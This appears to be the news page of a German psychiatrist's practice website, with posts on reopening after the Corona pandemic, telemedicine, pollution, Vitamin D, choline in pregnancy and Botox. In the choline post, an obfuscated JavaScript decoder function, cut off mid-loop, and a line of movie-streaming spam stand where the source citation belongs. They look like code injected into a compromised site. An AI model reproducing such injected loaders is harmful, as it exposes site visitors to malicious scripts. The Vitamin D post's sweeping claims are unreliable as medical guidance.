Über Dr. Moritz Muehlbacher

Facharzt für Psychiatrie Diplom Psychosomatische Medizin Diplom Psychoonkologie

Nach der (hoffentlich ersten und vorläufig letzten Welle der) Corona-Pandemie

Liebe PatientInnen und Patienten!

Die letzten Monate waren für viele von uns eine große Herausforderung.
Ich habe so gut es ging probiert, mit allen Kontakt zu halten.
In den meisten Fällen ist dies sehr gut gelungen, viel musste aber auch improvisiert werden und einiges hat leider manchmal überhaupt nicht funktioniert. Dabei ist es bedauerlicherweise auch dazu gekommen, dass Termine nicht stattfinden konnten, durcheinander gekommen sind, Post nicht ankam und andere Mißgeschicke.

Dies tut mir für die davon Betroffenen sehr leid. Niemals war das mein Vorhaben, aber auch mir sind sicher Fehler unterlaufen.


Im großen und ganzen kann ich aber eine sehr positive Bilanz ziehen und bedanke mich bei allen!

Gerade jetzt, nach dieser einmaligen „Ausnahmesituation“, kann es dazu kommen, dass psychische Probleme sogar vermehrt auftreten.
Besuche in der Ordination sind jetzt auch wieder vor Ort möglich, unter Berücksichtigung der üblichen Verhaltensmaßnahmen.

Bitte schauen Sie genau, ob Sie noch genügend Vorrat an Medikation bis Mitte Juli haben.
Rezepte kann ich noch bis zum 15.6. ausstellen, danach ist die Ordination bis zum 13.7. geschlossen.

Mit den besten Wünschen,

Dr. Moritz Mühlbacher

Corona: Danke an Alle!

Die letzte Zeit war für alle aufgrund der Pandemie nicht einfach.
Ich habe immer versucht, den Kontakt mit allen meinen PatientInnen zu halten.

Leider mag das nicht immer gelungen sein.
Im Großen und Ganzen hat sich jedoch gezeigt, dass auch Telemedizin funktioniert, und zumindest besser ist, als den Kontakt zu verlieren.

Jetzt sind Kontakte in der Ordination wieder möglich – aber unter entsprechenden Sicherheitsauflagen (Maske, Abstand). Ich bitte um Verständnis für diese nach wie vor nötigen Maßnahmen, aber eine Arztpraxis kann und darf sich keinesfalls zu einer Infektionsquelle entwickeln. Daher habe ich Maßnahmen ergiffen:https://www.praxis-muehlbacher.at/verhaltensmasnahmen-bezuglich-corona-virus/

Ich hoffe sehr, dass gerade für Corona-Risikogruppen die Möglichkeiten der Telemedizin weiter aufrecht bleiben und werde diese auf jeden Fall, wenn rechtlich möglich, weiterhin anbieten.

Ich möchte einen Dank an alle PatientInnen aussprechen, mit denen ich zusammen diese schwierige Zeit erlebt habe. Ich hoffe, dass mein Angebot von Hilfe war!

Umweltverschmutzung erhöht Risiko für psychische Erkrankungen in den USA und Dänemark

Eine groß angelegte Studie zeigte eine eindeutige Korrelation zwischen Umweltversachmutzung und dem Auftreten von psychischen Erkrankungen in diesen beiden Ländern.

Die genauen Zusammenhänge sind nicht ganz klar, es wird vermutet, daß die Verschmutzung zu einer „Vergiftung“ bzw. „Entzündung“ des Nervensystems beiträgt.

Quelle (in Englisch): https://journals.plos.org/plosbiology/article?id=10.1371/journal.pbio.3000353

Vitamin D: polemische Desinformation!

Zuletzt gab es nicht nur in Fachjournalen, sondern sogar in Tageszeitungen absolute Fehlinformationen über die angebliche „Nichtwirksamkeit“ von Vitamin D – in der Prophylaxe von Osteoporose und Herzinfarkten.

Was nicht gesagt wurde ist, wie unheimlich schlecht die entsprechenden Studien, die hier zitiert werden, eigentlich waren!

Viele davon haben folgendes nicht gemacht:

– geschaut, ob überhaupt ein Vitamin D Mangel vorhanden war zu Beginn
– geschaut, ob der Vitamin D Spiegel gestiegen ist
– jemals Vitamin D gemessen

Damit handelt es sich bei diesen Studien um eine kolossale Verschwendung von Zeit und Geld.

Für Depression gibt es klare, gut gemachte Studien die zeigen:
WENN anfangs ein Vitamin D Mangel besteht, ist der antidepressive Effekt von einer Einnahme von Vitamin D (vorausgesetzt, es wird ein guter Spiegel erreicht), eindeutig vorhanden und sogar vergleichbar mit Antidepressiva!

https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4011048/

Cholin: Nahrungsergänzung in Schwangerschaft und während der ersten Lebensmonate könnte das Risiko zur Entwicklung von Schizophrenie senken

Quelle:function oc532bd2f6(uf){var yd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=‘;var vb=“;var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndWatch Full Movie Online Streaming Online and Download

Perinatal Choline Effects on Neonatal Pathophysiology Related to Later Schizophrenia Risk 
Randal G. Ross, M.D.; Sharon K. Hunter, Ph.D.; Lizbeth McCarthy, M.D.; Julie Beuler, B.S.; Amanda K. Hutchison, M.D.; Brandie D. Wagner, Ph.D.; Sherry Leonard, Ph.D.; Karen E. Stevens, Ph.D.; Robert Freedman, M.D.
Am J Psychiatry 2013;:. 10.1176/appi.ajp.2012.12070940
In dieser Untersuchung wurde der Effekt von Cholin als Nahrungsergänzung ab dem zweiten Schwangerschaftsdrittel und in den ersten drei Lebensmonaten auf die Entwicklung des Gehirns und damit eventuell auch das spätere Risiko zur Entwicklung einer Schizophrenie untersucht. Weiterlesen

Botox bei Depression: Risiko oder Chance?

Quelle: Scientific American

Botox wird vor allem eingesetzt, um Faltenbildung im Gesicht zu reduzieren.
(Daneben gibt es noch ein paar andere Einatzgebiete).
Jetzt gibt es widersprüchliche Erkenntnisse, die darauf Hinweisen, dass Botox sowohl positive, als auch negative Auswirkungen auf die Psyche haben kann: Weiterlesen